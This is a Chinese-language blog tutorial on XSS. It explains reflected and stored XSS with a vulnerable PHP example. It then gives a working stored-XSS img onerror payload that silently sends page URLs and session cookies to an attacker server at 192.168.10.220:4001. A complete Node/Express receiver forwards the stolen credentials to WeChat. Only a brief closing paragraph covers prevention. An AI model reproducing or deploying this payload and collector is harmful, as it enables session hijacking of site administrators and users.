XSS漏洞的利用与防范

1. XSS漏洞原理

1.1 反射型XSS

一般来说反射型的xss漏洞是指url上面带有恶意的js代码,浏览器进入这个url之后,便会执行这段js代码从而造成破坏。

比如一个alert页面:

1
2
3
4
5
<html>
<script>
alert("<?php echo $_ GET['msg'];?>");
</script>
</html>

如果我构造一个url:xxx.com/alert.php?msg=恶意js代码。浏览器则会执行我输入的恶意js代码。反射型XSS利用时需要被害者点击链接才可以触发。

1.2 储存型XSS

顾名思义储存型的xss则会将恶意js代码储存在数据库中,等待被害者浏览这段js代码。一个最典型的例子便是留言板。我们可以给留言板提交一段恶意代码:

1
2
3
<script>
alert("恶意js代码");
</script>

那么当网站管理员登录后台查看用户留言时,就会触发这段恶意js代码,也就达到了我们的攻击目的。

1.3 什么是恶意js代码

上面讲了2中类型的xss漏洞,最为核心的就是让用户执行恶意的js代码。那么什么是恶意js代码呢。我们都知道当你登录一个网站之后,网站会记住你是谁(不然你按F5刷新就需要重新登录了)。这个用户的登录凭证般都会写在cookie里面。假设你拿到了这个登录凭证那么相当于不用用户名密码也可以进入用户管理界面。那么这段恶意js代码的作用就是帮助我们窃取登录凭证和登录地址,并且发送给我们。

2. 漏洞利用

在这里我们主要来讲储存型XSS漏洞的利用。咱们还是以留言板为例,为了达到攻击目的,我们一般以一下几个步骤来进行。

xss漏洞利用

2.1 构造恶意代码提交到留言板

1
<img src="w.123" onerror="javascript:this.src.indexOf('192.168.10.220')!=-1?this.src='http://www.mamicode.com/img/logo.png':this.src='http://192.168.10.220:4001/logo.png?p='+encodeURIComponent(document.URL+'_'+document.cookie)" id="xss" style="display: none"/>

上面的代码就是一串恶意的js代码,具体解释如下:

  1. 当img标签试图加载w.123图片时,会失败,触发onerror属性(执行js代码)。
  2. 如果当前标签src路径不包含192.168.10.220,那么将当前img的src路径重置为http://192.168.10.220:4001/logo.png?p='+encodeURIComponent(document.URL+'_'+document.cookie)
  3. 否则将当前img的src路径重置为http://www.mamicode.com/img/logo.png

在第二步中http://192.168.10.220:4001/logo.png是一个假地址,她的作用是把当前域名下的所有cookie以及url发送到我们的服务器。既然她是假地址,我们则会再次触发onerror,接下来就会替换成一个真图片。用户根本无法察觉我们窃取了她们的cookie。

2.2 等待管理员登录后台,浏览留言列表

留言提交之后,如果没有被浏览是不会被触发的。于是需要等待管理员登录后台,查看留言。

2.3 接收用户凭证

接收用户的cookie和url可以通过email或者微信公众号的模板消息都行,在这里我提供一个nodejs(基于express)的简单实现。她会将用户的登录凭证通过server酱发送到微信公众号。

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "xss",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"run": "node --max-http-header-size 6553500 app.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"node-server-chan": "^1.0.0"
}
}

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const express = require('express')
const path = require('path')
const ServerChan = require('node-server-chan')
const app = express()
const port = 4001

ServerChan.ServerChan.init('此处填写server酱的密钥')

app.get('/logo.png', (req, res) => {
console.log(req.query.p)
res.status(404).send('404 page not found!');
ServerChan.ServerChan.noticeMaster('上钩了~',req.query.p);
})

app.listen(port, () => {
console.log(`app listening at http://localhost:${port}`)
})

安装好nodejs,将这两个文件复制到本地,再执行一下命令可以启动后端。

  • npm install
  • npm run

http://127.0.0.1:4001/logo.png?p='+encodeURIComponent(document.URL+'_'+document.cookie)"就是伪造的接收地址。

3. 防范XSS漏洞

防范XSS漏洞的核心是严格过滤用户提交的内容,假设用户提交的内容都是恶意的。换句话说就是不允许用户提交任何代码。这个过滤一般是在后端进行处理,发现不合格就直接拒绝。如果实在是要接收用户的代码,那么在保存前需要将特殊字符进行转义。

原文链接:https://www.jdkdownload.com/usage_of_xss.html